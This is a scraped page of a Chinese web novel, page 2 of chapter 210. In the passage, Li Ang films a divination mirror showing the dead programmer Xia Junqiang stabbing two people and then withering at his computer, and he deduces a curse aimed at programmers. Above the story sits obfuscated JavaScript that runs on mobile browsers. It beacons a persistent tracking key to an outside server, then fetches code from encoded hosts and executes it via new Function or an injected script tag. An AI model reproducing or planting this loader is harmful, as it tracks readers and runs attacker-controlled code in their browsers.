第二百一十章 相机(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
站得稍远一点的李昂拿出了索尼数码摄像机,调整好焦距,隔着一段距离,摄录起绿色镜面的画面。
之间那绿色镜面掀起涟漪,逐渐浮现出倒影一般的景象。
第一幅画面,是死者夏骏强,
镜面中,他正坐在卧室电脑桌前,用台式电脑浏览github网页,并疯狂地敲击着键盘,似乎在输入什么东西。
(github是面向开源及私有软件项目的托管平台,为程序猿常用的开源代码库)
景象忽然一变,下一秒,夏骏强出现在自己出租屋的洗手间里,厚厚眼镜片后方的眼眸一片赤红,嘴巴蠕动呢喃,似乎在低语着什么东西。
根据其口型,李昂判断他所说的是“去死,都去死!”
镜面再次掀起涟漪,只见夏骏强在电脑上敲打了一阵代码,突然站了起来,一把从桌子上拿走钥匙,坐车来到另一个居民小区,并通过消防楼梯,摸进某间屋内。
接着,是一连串模糊且快速闪过的记忆剪影,
无非是夏骏强从民宅厨房里拿走一把西餐餐刀,用刀子袭杀了民宅内肥头大耳的中年男子,以及和他待在一起的浓妆艳抹年轻女子。
最后一幅画面,则是夏骏强失魂落魄地走回出租屋,端坐在电脑桌前,伸出手掌去触碰屏幕。
瞬间,屏幕化为漆黑一片,电脑机箱升腾起一阵青烟,
而夏骏强则像是被抽离了浑身鲜血一般,瞬间化为一具枯瘦人干,头颅后仰,整具身躯顺着椅子坡度,滑落在地。
画面就此终结,汤然诺立刻后退数步,避开了绿色镜面自我溶解时,溅起的微小绿水。
“这就算通灵占卜完毕了。”
她转过头,看向李昂,“发现什么东西了么?”
“唔....怎么说呢。”
李昂在手里的数码摄像机上按了按,保存刚才录下来的绿水画面,抬头对汤然诺说道:“你提供给狗的狗粮太软了,吐出来的呕吐物过于清澈。
下次买狗粮记得自己先吃一阵子,觉得没问题再给狗吃。”
“...”
汤然诺眼角一抽,不知道该做出什么样的表情。
“总之,我们先离开小区吧,我大概知道他的死亡原因了。”
李昂呵呵一笑,随意说道:“对了,你带笔记本电脑了么?”
汤然诺不知道对方肚子里卖得什么药,皱眉答道:“只有平板。”
“平板也行,给我吧。”
李昂点了点头,汤然诺只好从背包栏里取出一台几乎是崭新的平板电脑,开启密码锁之后递了过去。
显然,汤然诺给出的这台平板非生活常用,里面没有隐私数据,估计只在剧本任务中配合无人机使用。
李昂接过平板,一边在上面滑动了几下,一边转身离去。
汤然诺犹豫片刻,也用狗绳再次拴住金毛犬,跟在李昂身后,走出了万嵘小区。
两人进到一家僻静的咖啡厅,点了两杯咖啡,选了个僻静角落坐下。
李昂利用usb转换线,将数码相机与平板电脑连在一起,抿了口咖啡,手指在屏幕上来回滑动。
片刻,他抬起头,对汤然诺说道:“任务目标,确实是死于超凡事件。
准确地说,他死于一种未知的、针对程序猿的诅咒。”